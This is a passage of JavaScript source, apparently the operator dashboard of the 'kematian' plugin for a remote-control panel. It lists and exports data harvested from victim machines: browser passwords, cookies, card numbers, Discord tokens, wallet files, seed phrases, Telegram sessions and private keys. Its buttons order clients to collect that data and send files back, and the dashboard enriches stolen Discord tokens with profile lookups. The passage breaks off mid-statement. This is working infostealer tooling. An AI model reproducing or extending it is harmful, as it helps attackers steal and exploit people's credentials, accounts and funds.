Files
kematian/kematian.js
T
2026-08-27 18:31:01 +00:00

2121 lines
86 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
(() => {
const PLUGIN_ID = "kematian";
const PAGE_SIZE = 1000;
const ROW_H = 28;
const VBUF = 20;
const params = new URLSearchParams(window.location.search);
const clientId = params.get("clientId") || "";
const isGlobal = !clientId;
const __ctx = clientId || "__global__";
if (window.__kematianCtx === __ctx) return;
if (window.__kematianSSE) { window.__kematianSSE.close(); window.__kematianSSE = null; }
if (window.__kematianPoll) { clearInterval(window.__kematianPoll); window.__kematianPoll = null; }
window.__kematianCtx = __ctx;
const $ = (id) => document.getElementById(id);
// ── DOM refs ──────────────────────────────────────────────────
const logEl = $("log");
const dataCard = $("data-card");
const tabsEl = $("tabs");
const bfiltsEl = $("bfilts");
const cfiltsEl = $("cfilts");
const searchEl = $("search");
const thead = $("data-thead");
const tbody = $("data-tbody");
const tableWrap = document.querySelector(".table-wrap");
const noRows = $("no-rows");
const rowCount = $("row-count");
const revealToggle = $("reveal-toggle");
const pagBar = $("pagination-bar");
const pagPrev = $("page-prev");
const pagNext = $("page-next");
const pagInfo = $("page-info");
const clientCard = $("client-card");
const clientIdEl = $("client-id");
const statusDot = $("status-dot");
const statusText = $("status-text");
const collectBtn = $("collect-btn");
const scanFilesBtn = $("scan-files-btn");
const scanExtBtn = $("scan-ext-btn");
const scanWalletsBtn = $("scan-wallets-btn");
const scanTgBtn = $("scan-tg-btn");
const scanKeysBtn = $("scan-keys-btn");
const scanAppsBtn = $("scan-apps-btn");
const pingBtn = $("ping-btn");
const exportBtn = $("export-btn");
const discordViewEl = $("discord-view");
const dpGrid = $("dp-grid");
const enrichAllBtn = $("enrich-all-btn");
const enrichStatus = $("enrich-status");
const walletViewEl = $("wallet-view");
const wlGrid = $("wl-grid");
const checkBalancesBtn = $("check-balances-btn");
const balanceStatus = $("balance-status");
const settingsCard = $("settings-card");
const settingsGrid = $("settings-grid");
const settingsAdminMsg = $("settings-admin-msg");
const settingsStatus = $("settings-status");
const autoHarvestToggle = $("auto-harvest-toggle");
const autoFilesToggle = $("auto-files-toggle");
const autoExtToggle = $("auto-ext-toggle");
const globalCard = $("global-card");
const clientsCard = $("clients-card");
const clientsList = $("clients-list");
const globalStats = $("global-stats");
const refreshBtn = $("refresh-btn");
const exportAllBtn = $("export-all-btn");
const clearAllBtn = $("clear-all-btn");
const summaryCard = $("summary-card");
const summaryGrid = $("summary-grid");
const summaryTotals = $("summary-totals");
const searchAllView = $("search-all-view");
const searchAllGrid = $("search-all-grid");
const searchAllEmpty = $("search-all-empty");
// ── Column definitions ────────────────────────────────────────
const CLIENT_COL = { k: "clientId", h: "Client", clientbadge: true };
const TABS = [
{
id: "passwords", label: "Passwords", key: "passwords", rpc: "list_passwords",
cols: [
{ k: "url", h: "URL", grow: true },
{ k: "username", h: "Username" },
{ k: "password", h: "Password", sensitive: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "cookies", label: "Cookies", key: "cookies", rpc: "list_cookies",
cols: [
{ k: "host", h: "Host", grow: true },
{ k: "name", h: "Name" },
{ k: "value", h: "Value", truncate: true },
{ k: "path", h: "Path" },
{ k: "secure", h: "Sec", bool: true },
{ k: "httpOnly", h: "HTTP", bool: true },
{ k: "expiresUtc", h: "Expires", chromets: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "autofill", label: "Autofill", key: "autofill", rpc: "list_autofill",
cols: [
{ k: "name", h: "Field", grow: true },
{ k: "value", h: "Value", truncate: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "history", label: "History", key: "history", rpc: "list_history",
cols: [
{ k: "url", h: "URL", grow: true },
{ k: "title", h: "Title" },
{ k: "visitTimeUnix", h: "Visited", unixtimestamp: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "bookmarks", label: "Bookmarks", key: "bookmarks", rpc: "list_bookmarks",
cols: [
{ k: "name", h: "Name", grow: true },
{ k: "url", h: "URL", truncate: true },
{ k: "type", h: "Type" },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "cards", label: "Cards", key: "creditCards", rpc: "list_credit_cards",
cols: [
{ k: "nameOnCard", h: "Name on Card", grow: true },
{ k: "cardNumber", h: "Card Number", sensitive: true },
{ k: "expirationMonth", h: "Month" },
{ k: "expirationYear", h: "Year" },
{ k: "nickname", h: "Nickname" },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "discord", label: "Discord", key: "discordTokens", rpc: "list_discord_tokens",
cols: [
{ k: "token", h: "Token", grow: true, sensitive: true },
{ k: "source", h: "Source" },
],
},
{
id: "files", label: "Files", key: "files", rpc: "list_files",
cols: [
{ k: "dir", h: "Location" },
{ k: "name", h: "Name", grow: true },
{ k: "ext", h: "Ext" },
{ k: "size", h: "Size", filesize: true },
{ k: "modified", h: "Modified", unixtimestamp: true },
{ k: "tags", h: "Tags", seedtag: true },
{ k: "_dl", h: "", filedownload: true },
],
},
{
id: "extensions", label: "Extensions", key: "extensions", rpc: "list_extensions",
cols: [
{ k: "name", h: "Name", grow: true },
{ k: "version", h: "Version" },
{ k: "extId", h: "Ext ID", mono: true },
{ k: "category", h: "Type", walletbadge: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
{ k: "_dl", h: "", extdownload: true },
],
},
{
id: "wallets", label: "Wallets", key: "wallets", rpc: "list_wallets",
cols: [
{ k: "name", h: "Wallet", grow: true },
{ k: "path", h: "Path", truncate: true },
{ k: "files", h: "Files" },
{ k: "size", h: "Size", filesize: true },
{ k: "_dl", h: "", walletdownload: true },
],
},
{
id: "telegram", label: "Telegram", key: "telegram", rpc: "list_telegram",
cols: [
{ k: "account", h: "Account", grow: true },
{ k: "path", h: "Path", truncate: true },
{ k: "size", h: "Size", filesize: true },
{ k: "hasContent", h: "Downloaded", bool: true },
],
},
{
id: "keys", label: "Keys", key: "keys", rpc: "list_keys",
cols: [
{ k: "type", h: "Type", badge: true },
{ k: "name", h: "Name", grow: true },
{ k: "path", h: "Path", truncate: true },
{ k: "size", h: "Size", filesize: true },
{ k: "content", h: "Content", sensitive: true, truncate: true },
],
},
{
id: "seeds", label: "Seeds", key: "seeds", rpc: "list_seeds",
cols: [
{ k: "phrase", h: "Seed Phrase", sensitive: true, grow: true },
{ k: "words", h: "Words" },
{ k: "valid", h: "BIP39", bool: true },
{ k: "source", h: "Source", badge: true },
{ k: "path", h: "Path", truncate: true },
],
},
{
id: "apps", label: "Apps", key: "appCredentials", rpc: "list_app_credentials",
cols: [
{ k: "application", h: "Application", badge: true },
{ k: "host", h: "Host", grow: true },
{ k: "port", h: "Port" },
{ k: "username", h: "Username" },
{ k: "password", h: "Password", sensitive: true },
{ k: "protocol", h: "Protocol", badge: true },
{ k: "extra", h: "Extra", truncate: true },
],
},
];
const BROWSERS = [
"Chrome", "Edge", "Brave", "Vivaldi", "Yandex",
"Arc", "Opera", "Opera GX", "Firefox", "Waterfox",
];
const DATA_KEYS = [
"passwords", "cookies", "autofill", "history", "bookmarks",
"creditCards", "discordTokens", "files", "extensions", "wallets",
"telegram", "keys", "seeds", "appCredentials",
];
// ── Discord helpers ───────────────────────────────────────────
const DISCORD_BADGE_FLAGS = [
{ f: 1 << 0, label: "Staff", title: "Discord Staff" },
{ f: 1 << 1, label: "Partner", title: "Partnered Server Owner" },
{ f: 1 << 2, label: "HypeSquad", title: "HypeSquad Events" },
{ f: 1 << 3, label: "Bug Hunter", title: "Bug Hunter Level 1" },
{ f: 1 << 6, label: "Bravery", title: "HypeSquad Bravery" },
{ f: 1 << 7, label: "Brilliance", title: "HypeSquad Brilliance" },
{ f: 1 << 8, label: "Balance", title: "HypeSquad Balance" },
{ f: 1 << 9, label: "Early Sup.", title: "Early Supporter" },
{ f: 1 << 14, label: "Bug Hunter II", title: "Bug Hunter Level 2" },
{ f: 1 << 17, label: "Bot Dev", title: "Early Verified Bot Developer" },
{ f: 1 << 18, label: "Moderator", title: "Certified Discord Moderator" },
{ f: 1 << 22, label: "Active Dev", title: "Active Developer" },
];
const NITRO_LABELS = ["—", "Nitro Classic", "Nitro", "Nitro Basic"];
function discordSnowflakeDate(id) {
if (!id) return null;
try { return new Date(Number(BigInt(id) >> 22n) + 1420070400000); }
catch { return null; }
}
function discordAvatarUrl(userId, hash) {
if (hash && userId)
return `https://cdn.discordapp.com/avatars/${userId}/${hash}.webp?size=64`;
if (userId) {
try { return `https://cdn.discordapp.com/embed/avatars/${Number(BigInt(userId) % 6n)}.png`; }
catch { return null; }
}
return null;
}
function dpBadgesHtml(flags) {
if (!flags) return "";
return DISCORD_BADGE_FLAGS
.filter(b => (flags & b.f) !== 0)
.map(b => `<span class="dp-badge" title="${esc(b.title)}">${esc(b.label)}</span>`)
.join("");
}
function dpNitroHtml(tier) {
if (!tier) return "";
return `<span class="dp-badge dp-badge-nitro">${esc(NITRO_LABELS[tier] || "Nitro")}</span>`;
}
// ── State ─────────────────────────────────────────────────────
let lastResults = null;
let tabData = {};
let activeTab = "passwords";
let activeBrowser = "all";
let activeClient = "all";
let sortCol = null;
let sortAsc = true;
let showSensitive = false;
let knownClients = [];
let searchTimer = null;
let userRole = null;
let historyView = "all"; // "all" or "top"
let searchAllResults = null;
const pendingFetches = new Map();
const pendingExtZips = new Map();
const pendingWalletZips = new Map();
let walletBalances = {};
let walletCrackResults = {};
// ── Virtual scroll ────────────────────────────────────────────
let virtRows = [];
let virtCols = [];
let scrollRAF = null;
function makeSpacer() {
const tr = document.createElement("tr");
const td = document.createElement("td");
td.style.cssText = "height:0;padding:0;border:0;";
tr.appendChild(td);
return tr;
}
const topSpacer = makeSpacer();
const botSpacer = makeSpacer();
tableWrap.addEventListener("scroll", () => {
if (scrollRAF) return;
scrollRAF = requestAnimationFrame(() => { scrollRAF = null; vRender(); });
}, { passive: true });
function startVirt(rows, cols, serverTotal) {
virtRows = rows;
virtCols = cols;
const span = cols.length || 1;
topSpacer.cells[0].colSpan = span;
botSpacer.cells[0].colSpan = span;
tbody.innerHTML = "";
tbody.appendChild(topSpacer);
tbody.appendChild(botSpacer);
tableWrap.scrollTop = 0;
const total = serverTotal !== undefined ? serverTotal : rows.length;
noRows.style.display = total === 0 ? "" : "none";
rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "entry" : "entries"}`;
vRender();
}
function vRender() {
if (!virtRows.length) return;
const scrollTop = tableWrap.scrollTop;
const viewH = tableWrap.clientHeight || 520;
const first = Math.max(0, Math.floor(scrollTop / ROW_H) - VBUF);
const last = Math.min(virtRows.length, Math.ceil((scrollTop + viewH) / ROW_H) + VBUF);
topSpacer.cells[0].style.height = (first * ROW_H) + "px";
botSpacer.cells[0].style.height = ((virtRows.length - last) * ROW_H) + "px";
while (tbody.rows.length > 2) tbody.deleteRow(1);
for (let i = first; i < last; i++)
tbody.insertBefore(buildRow(virtRows[i], virtCols), botSpacer);
}
// ── Utilities ─────────────────────────────────────────────────
function log(line) {
logEl.textContent = `[${new Date().toLocaleTimeString()}] ${line}\n` + logEl.textContent;
}
function esc(s) {
return String(s).replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
}
function chromeTs(v) {
if (!v || v === 0) return "";
const ms = Math.round(v / 1000) - 11644473600000;
return ms <= 0 ? "" : new Date(ms).toLocaleString();
}
function unixTs(v) {
return (!v || v === 0) ? "" : new Date(v * 1000).toLocaleString();
}
function humanSize(bytes) {
if (bytes === 0) return "0 B";
const units = ["B", "KB", "MB", "GB"];
const i = Math.floor(Math.log(bytes) / Math.log(1024));
return (bytes / Math.pow(1024, i)).toFixed(i === 0 ? 0 : 1) + " " + units[i];
}
function shortId(id) { return id ? String(id).slice(0, 8) : "?"; }
function downloadBase64(content, filename, mime) {
const raw = atob(content);
const bytes = new Uint8Array(raw.length);
for (let i = 0; i < raw.length; i++) bytes[i] = raw.charCodeAt(i);
const blob = new Blob([bytes], mime ? { type: mime } : undefined);
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = filename;
a.click();
URL.revokeObjectURL(a.href);
}
// ── Network ───────────────────────────────────────────────────
async function sendEvent(event, payload) {
if (!clientId) { log("ERROR: no clientId"); return; }
try {
const res = await fetch(
`/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/event`,
{ method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ event, payload }) },
);
if (!res.ok) log(`send failed: ${res.status}`);
} catch (e) { log(`send error: ${e.message}`); }
}
async function rpc(method, params) {
const res = await fetch(`/api/plugins/${PLUGIN_ID}/rpc`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ method, params: params || {} }),
});
const data = await res.json();
if (!data.ok) {
const msg = data.error || "RPC error";
console.error(`[kematian] RPC ${method} failed (${res.status}): ${msg}`);
throw new Error(msg);
}
return data.result;
}
async function fetchUserRole() {
try {
const res = await fetch("/api/auth/me");
if (!res.ok) return null;
const data = await res.json();
return data.role || null;
} catch { return null; }
}
// ── Cell rendering ────────────────────────────────────────────
function cellContent(col, raw, reveal) {
const v = raw == null ? "" : raw;
if (col.clientbadge)
return `<span class="badge badge-client" title="${esc(String(v))}">${esc(shortId(String(v)))}</span>`;
if (col.bool)
return v ? `<span class="bool-yes">✓</span>` : `<span class="bool-no">—</span>`;
if (col.badge)
return `<span class="badge badge-${esc(String(v || "").replace(/\s+/g, "-"))}">${esc(String(v || ""))}</span>`;
if (col.chromets)
return esc(chromeTs(v));
if (col.unixtimestamp)
return esc(unixTs(v));
if (col.filesize)
return esc(humanSize(Number(v) || 0));
if (col.mono)
return `<span style="font-family:var(--mono,monospace);font-size:11px;color:#94a3b8">${esc(String(v || ""))}</span>`;
if (col.seedtag) {
if (!v) return "";
return String(v).split(",").filter(Boolean)
.map(t => t === "seed"
? `<span class="badge badge-seed">seed phrase</span>`
: `<span class="badge">${esc(t)}</span>`)
.join(" ");
}
if (col.walletbadge) {
if (v === "wallet") return `<span class="badge badge-wallet">Wallet</span>`;
return "";
}
if (col.filedownload)
return isGlobal ? "" : `<button class="btn btn-dl" title="Fetch &amp; download">↓</button>`;
if (col.extdownload)
return isGlobal ? "" : `<button class="btn btn-dl" title="Download as ZIP">ZIP</button>`;
if (col.walletdownload)
return isGlobal ? "" : `<button class="btn btn-dl" title="Download wallet as ZIP">ZIP</button>`;
if (col.sensitive) {
const text = String(v);
if (!text) return `<span class="bool-no">—</span>`;
return reveal
? `<span class="sensitive revealed">${esc(text)}</span>`
: `<span class="sensitive">••••••••</span>`;
}
const text = String(v);
if (col.truncate && text.length > 80)
return `<span title="${esc(text)}">${esc(text.slice(0, 80))}…</span>`;
return esc(text);
}
function sortValue(col, row) {
const v = row[col.k];
if (col.bool) return v ? 1 : 0;
if (col.chromets || col.unixtimestamp) return v || 0;
if (col.filesize) return Number(v) || 0;
if (col.filedownload || col.clientbadge) return String(v || "").toLowerCase();
if (typeof v === "number") return v;
return String(v || "").toLowerCase();
}
function applySortInPlace(rows, cols) {
if (sortCol === null || sortCol >= cols.length) return;
const col = cols[sortCol];
rows.sort((a, b) => {
const av = sortValue(col, a), bv = sortValue(col, b);
if (av < bv) return sortAsc ? -1 : 1;
if (av > bv) return sortAsc ? 1 : -1;
return 0;
});
}
function buildRow(row, cols) {
const tr = document.createElement("tr");
for (const col of cols) {
const td = document.createElement("td");
td.innerHTML = cellContent(col, row[col.k], showSensitive);
td.addEventListener("click", () => {
if (!isGlobal && col.filedownload) { fetchAndDownload(row.path, row.name, td); return; }
if (!isGlobal && col.extdownload) { fetchAndDownloadExt(row.path, row.extId, td); return; }
if (!isGlobal && col.walletdownload) { fetchAndDownloadWallet(row.path, row.name, td); return; }
const val = col.sensitive ? String(row[col.k] || "")
: col.chromets ? chromeTs(row[col.k])
: col.unixtimestamp ? unixTs(row[col.k])
: col.filesize ? String(row[col.k] || "")
: String(row[col.k] || "");
if (!val) return;
navigator.clipboard.writeText(val).catch(() => {});
td.classList.add("copied-flash");
setTimeout(() => td.classList.remove("copied-flash"), 600);
});
tr.appendChild(td);
}
return tr;
}
function buildHeader(cols) {
thead.innerHTML = "";
const trh = document.createElement("tr");
cols.forEach((col, i) => {
const th = document.createElement("th");
let arrow = "⇅", cls = "";
if (sortCol === i) { arrow = sortAsc ? "↑" : "↓"; cls = sortAsc ? "sort-asc" : "sort-desc"; }
th.className = cls;
th.innerHTML = `${esc(col.h)} <span class="sort-arrow">${arrow}</span>`;
th.addEventListener("click", () => {
if (sortCol === i) sortAsc = !sortAsc; else { sortCol = i; sortAsc = true; }
renderTable();
});
trh.appendChild(th);
});
thead.appendChild(trh);
}
// ── Tabs ──────────────────────────────────────────────────────
function getGlobalTabTotal(tabKey) {
if (activeClient !== "all") {
const c = knownClients.find(x => x.clientId === activeClient);
return c ? (c[tabKey] || 0) : 0;
}
return knownClients.reduce((sum, c) => sum + (c[tabKey] || 0), 0);
}
function buildTabs() {
tabsEl.innerHTML = "";
const q = searchEl.value.trim();
if (q) {
const saBtn = document.createElement("button");
saBtn.className = "tab tab-search" + (activeTab === "__search__" ? " active" : "");
const saCount = searchAllResults ? searchAllResults.groups.reduce((s, g) => s + g.total, 0) : 0;
saBtn.innerHTML = `Search All <span class="tab-count">${saCount.toLocaleString()}</span>`;
saBtn.addEventListener("click", () => {
activeTab = "__search__";
sortCol = null; sortAsc = true;
buildTabs(); buildBfilts();
if (isGlobal) { buildCfilts(); loadSearchAll(); }
else renderTable();
});
tabsEl.appendChild(saBtn);
}
for (const t of TABS) {
const btn = document.createElement("button");
btn.className = "tab" + (t.id === activeTab ? " active" : "");
const count = isGlobal
? getGlobalTabTotal(t.key).toLocaleString()
: (lastResults ? (lastResults[t.key] || []).length : 0);
btn.innerHTML = `${esc(t.label)} <span class="tab-count">${count}</span>`;
btn.addEventListener("click", () => {
activeTab = t.id;
sortCol = null; sortAsc = true;
buildTabs(); buildBfilts();
if (isGlobal) {
buildCfilts();
if (tabData[t.key]) tabData[t.key].offset = 0;
loadGlobalTab();
} else {
renderTable();
}
});
tabsEl.appendChild(btn);
}
}
// ── Browser filter ────────────────────────────────────────────
function buildBfilts() {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.cols.some(c => c.k === "browser")) { bfiltsEl.style.display = "none"; return; }
bfiltsEl.style.display = "";
bfiltsEl.innerHTML = "";
// History view toggle
if (activeTab === "history") {
const viewToggle = document.createElement("div");
viewToggle.className = "history-view-toggle";
for (const v of [{ label: "All", value: "all" }, { label: "Top Sites", value: "top" }]) {
const btn = document.createElement("button");
btn.className = "bfilt" + (historyView === v.value ? " active" : "");
btn.textContent = v.label;
btn.addEventListener("click", () => {
historyView = v.value;
buildBfilts();
renderTable();
});
viewToggle.appendChild(btn);
}
bfiltsEl.appendChild(viewToggle);
const sep = document.createElement("span");
sep.className = "bfilt-sep";
bfiltsEl.appendChild(sep);
}
const pills = [{ label: "All", value: "all" }, ...BROWSERS.map(b => ({ label: b, value: b }))];
for (const p of pills) {
const btn = document.createElement("button");
btn.className = "bfilt" + (activeBrowser === p.value ? " active" : "");
btn.dataset.browser = p.value;
btn.textContent = p.label;
btn.addEventListener("click", () => {
activeBrowser = p.value;
buildBfilts();
if (isGlobal) {
const t2 = TABS.find(t => t.id === activeTab);
if (t2?.key && tabData[t2.key]) tabData[t2.key].offset = 0;
loadGlobalTab();
} else {
renderTable();
}
});
bfiltsEl.appendChild(btn);
}
}
// ── Client filter ─────────────────────────────────────────────
function buildCfilts() {
if (!isGlobal || !cfiltsEl) return;
if (knownClients.length === 0) { cfiltsEl.style.display = "none"; return; }
cfiltsEl.style.display = "";
cfiltsEl.innerHTML = "";
const pills = [
{ label: "All Clients", value: "all" },
...knownClients.map(c => ({ label: shortId(c.clientId), value: c.clientId, full: c.clientId })),
];
for (const p of pills) {
const btn = document.createElement("button");
btn.className = "cfilt" + (activeClient === p.value ? " active" : "");
btn.textContent = p.label;
if (p.full) btn.title = p.full;
btn.addEventListener("click", () => {
activeClient = p.value;
const tab = TABS.find(t => t.id === activeTab);
if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0;
buildCfilts(); buildTabs();
loadGlobalTab();
});
cfiltsEl.appendChild(btn);
}
}
// ── Search All ────────────────────────────────────────────────
async function loadSearchAll() {
const q = searchEl.value.trim();
if (!q) { searchAllResults = null; renderTable(); return; }
const p = { search: q, limit: 10 };
if (activeClient !== "all") p.clientId = activeClient;
try {
searchAllResults = await rpc("global_search", p);
buildTabs();
renderTable();
} catch (e) { log(`Search error: ${e.message}`); }
}
function renderSearchAll() {
if (!searchAllView || !searchAllGrid) return;
searchAllGrid.innerHTML = "";
const groups = searchAllResults?.groups || [];
searchAllEmpty.style.display = groups.length === 0 ? "" : "none";
for (const g of groups) {
const tab = TABS.find(t => t.key === g.key);
if (!tab) continue;
const cols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols;
const displayCols = cols.filter(c => !c.filedownload && !c.extdownload && !c.walletdownload);
const previewCols = displayCols.slice(0, 5);
const section = document.createElement("div");
section.className = "search-group";
const header = document.createElement("div");
header.className = "search-group-header";
header.innerHTML = `
<div class="search-group-title">
${esc(g.label)}
<span class="search-group-count">${g.total.toLocaleString()}</span>
</div>
<div class="search-group-view">View all &rarr;</div>
`;
header.addEventListener("click", () => {
activeTab = tab.id;
sortCol = null; sortAsc = true;
buildTabs(); buildBfilts();
if (isGlobal) {
buildCfilts();
if (tabData[tab.key]) tabData[tab.key].offset = 0;
searchEl.value = searchEl.value;
loadGlobalTab();
} else {
renderTable();
}
});
section.appendChild(header);
const tbl = document.createElement("table");
tbl.className = "search-group-table";
const thRow = document.createElement("tr");
for (const col of previewCols) {
const th = document.createElement("th");
th.textContent = col.h;
if (col.grow) th.style.width = "40%";
thRow.appendChild(th);
}
tbl.appendChild(thRow);
for (const row of g.rows) {
const tr = document.createElement("tr");
for (const col of previewCols) {
const td = document.createElement("td");
if (col.grow) td.className = "sg-grow";
td.innerHTML = cellContent(col, row[col.k], showSensitive);
td.addEventListener("click", () => {
const val = col.sensitive ? String(row[col.k] || "")
: col.chromets ? chromeTs(row[col.k])
: String(row[col.k] || "");
if (!val) return;
navigator.clipboard.writeText(val).catch(() => {});
td.classList.add("copied-flash");
setTimeout(() => td.classList.remove("copied-flash"), 600);
});
tr.appendChild(td);
}
tbl.appendChild(tr);
}
section.appendChild(tbl);
if (g.total > g.rows.length) {
const more = document.createElement("div");
more.className = "search-group-more";
more.textContent = `+ ${(g.total - g.rows.length).toLocaleString()} more results — click to view all`;
more.addEventListener("click", () => header.click());
section.appendChild(more);
}
searchAllGrid.appendChild(section);
}
}
function loadSearchAllLocal() {
const q = searchEl.value.trim().toLowerCase();
if (!q || !lastResults) { searchAllResults = null; buildTabs(); return; }
const groups = [];
for (const tab of TABS) {
const rows = lastResults[tab.key] || [];
if (!rows.length) continue;
const cols = tab.cols;
const matched = rows.filter(r =>
cols.some(c => String(r[c.k] || "").toLowerCase().includes(q))
);
if (matched.length > 0) {
groups.push({ key: tab.key, label: tab.label, total: matched.length, rows: matched.slice(0, 10) });
}
}
searchAllResults = { groups };
buildTabs();
}
// ── Pagination ────────────────────────────────────────────────
function updatePagination(tabKey) {
if (!isGlobal || !pagBar) return;
const td = tabData[tabKey];
if (!td || td.total <= PAGE_SIZE) { pagBar.style.display = "none"; return; }
pagBar.style.display = "";
const from = td.offset + 1;
const to = Math.min(td.offset + td.rows.length, td.total);
pagInfo.textContent = `${from.toLocaleString()}${to.toLocaleString()} of ${td.total.toLocaleString()}`;
pagPrev.disabled = td.offset === 0;
pagNext.disabled = td.offset + td.rows.length >= td.total;
}
// ── Render table ──────────────────────────────────────────────
function renderTable() {
if (activeTab === "__search__") {
tableWrap.style.display = "none";
noRows.style.display = "none";
if (discordViewEl) discordViewEl.style.display = "none";
if (walletViewEl) walletViewEl.style.display = "none";
if (searchAllView) searchAllView.style.display = "";
if (pagBar) pagBar.style.display = "none";
renderSearchAll();
const total = searchAllResults?.groups.reduce((s, g) => s + g.total, 0) || 0;
rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "result" : "results"}`;
return;
}
if (searchAllView) searchAllView.style.display = "none";
const tab = TABS.find(t => t.id === activeTab);
if (!tab) return;
if (activeTab === "discord") {
tableWrap.style.display = "none";
if (discordViewEl) discordViewEl.style.display = "";
if (walletViewEl) walletViewEl.style.display = "none";
loadDiscordProfiles();
return;
}
if (activeTab === "wallets") {
tableWrap.style.display = "none";
if (discordViewEl) discordViewEl.style.display = "none";
if (walletViewEl) walletViewEl.style.display = "";
loadWalletCards();
return;
}
if (discordViewEl) discordViewEl.style.display = "none";
if (walletViewEl) walletViewEl.style.display = "none";
tableWrap.style.display = "";
// Top Sites view for history tab
if (activeTab === "history" && historyView === "top") {
let rows;
if (isGlobal) {
const td = tabData[tab.key];
rows = td?.rows || [];
} else {
rows = lastResults?.[tab.key] || [];
}
if (activeBrowser !== "all") rows = rows.filter(r => r.browser === activeBrowser);
const q = searchEl.value.trim().toLowerCase();
if (q) rows = rows.filter(r => (r.url || "").toLowerCase().includes(q) || (r.title || "").toLowerCase().includes(q));
// Group by domain
const domainMap = {};
for (const r of rows) {
let domain;
try { domain = new URL(r.url).hostname.replace(/^www\./, ""); } catch { domain = r.url || "unknown"; }
if (!domainMap[domain]) domainMap[domain] = { domain, visits: 0, lastVisit: 0, titles: new Set() };
domainMap[domain].visits++;
if (r.visitTimeUnix > domainMap[domain].lastVisit) domainMap[domain].lastVisit = r.visitTimeUnix;
if (r.title) domainMap[domain].titles.add(r.title);
}
const sorted = Object.values(domainMap).sort((a, b) => b.visits - a.visits);
const topCols = [
{ k: "domain", h: "Domain", grow: true },
{ k: "visits", h: "Visits" },
{ k: "lastVisit", h: "Last Visit", unixtimestamp: true },
];
buildHeader(topCols);
const topRows = sorted.map(d => ({
domain: d.domain,
visits: d.visits,
lastVisit: d.lastVisit,
}));
startVirt(topRows, topCols);
if (isGlobal) updatePagination(tab.key);
return;
}
const allCols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols;
const cols = allCols.filter(c => !(isGlobal && c.filedownload));
let rows, serverTotal;
if (isGlobal) {
const td = tabData[tab.key];
if (!td) { buildHeader(cols); startVirt([], cols); updatePagination(tab.key); return; }
rows = [...td.rows];
serverTotal = td.total;
} else {
if (!lastResults) { buildHeader(cols); startVirt([], cols); return; }
rows = [...(lastResults[tab.key] || [])];
if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser"))
rows = rows.filter(r => r.browser === activeBrowser);
const q = searchEl.value.trim().toLowerCase();
if (q) rows = rows.filter(r => cols.some(c => String(r[c.k] || "").toLowerCase().includes(q)));
}
applySortInPlace(rows, cols);
buildHeader(cols);
startVirt(rows, cols, serverTotal);
if (isGlobal) updatePagination(tab.key);
}
// ── File fetch (per-client) ───────────────────────────────────
function fetchAndDownload(path, name, tdEl) {
if (pendingFetches.has(path)) return;
const btn = tdEl.querySelector(".btn-dl");
if (btn) { btn.textContent = "…"; btn.disabled = true; }
pendingFetches.set(path, { name, btn });
sendEvent("fetch_file", { path });
log(`Fetching: ${name}`);
}
function fetchAndDownloadExt(path, extId, tdEl) {
if (pendingExtZips.has(path)) return;
const btn = tdEl.querySelector(".btn-dl");
if (btn) { btn.textContent = "…"; btn.disabled = true; }
pendingExtZips.set(path, { extId, btn });
sendEvent("fetch_ext_zip", { path, extId });
log(`Fetching extension ZIP: ${extId || path}`);
}
function fetchAndDownloadWallet(path, name, tdEl) {
if (pendingWalletZips.has(path)) return;
const btn = tdEl.querySelector(".btn-dl");
if (btn) { btn.textContent = "…"; btn.disabled = true; }
pendingWalletZips.set(path, { name, btn });
sendEvent("fetch_wallet_zip", { path, name });
log(`Fetching wallet ZIP: ${name || path}`);
}
// ── Discord profiles ──────────────────────────────────────────
function renderDiscordCard(p) {
const div = document.createElement("div");
div.className = "dp-card";
div.dataset.token = p.token || "";
div.dataset.clientId = p.clientId || "";
const enriched = !!p.enriched_at && !p.error;
const tokenHtml = `
<div class="dp-token-row">
<span class="dp-token-label">Token</span>
<span class="dp-token sensitive" title="Click to copy">${esc(p.token || "")}</span>
</div>`;
const sourceTs = `${esc(p.source || "")} · ${p.captured_at ? new Date(p.captured_at).toLocaleString() : ""}`;
if (p.error) {
div.innerHTML = `
<div class="dp-card-top">
<div class="dp-avatar-wrap"><div class="dp-avatar dp-avatar-err">?</div></div>
<div class="dp-identity">
<div class="dp-displayname">Lookup failed</div>
<div class="dp-tag dp-err-msg">${esc(p.error)}</div>
<div class="dp-created">${sourceTs}</div>
</div>
</div>
${tokenHtml}
<div class="dp-actions">
<button class="btn dp-lookup-btn" data-token="${esc(p.token)}" data-cid="${esc(p.clientId)}">Retry Lookup</button>
</div>`;
} else if (!enriched) {
div.innerHTML = `
<div class="dp-card-top">
<div class="dp-avatar-wrap"><div class="dp-avatar dp-avatar-pending">?</div></div>
<div class="dp-identity">
<div class="dp-displayname">Not yet looked up</div>
<div class="dp-created">${sourceTs}</div>
</div>
</div>
${tokenHtml}
<div class="dp-actions">
<button class="btn dp-lookup-btn" data-token="${esc(p.token)}" data-cid="${esc(p.clientId)}">Lookup</button>
</div>`;
} else {
const created = discordSnowflakeDate(p.user_id);
const avatarUrl = discordAvatarUrl(p.user_id, p.avatar);
const displayName = p.global_name || p.username || "—";
const tag = p.username
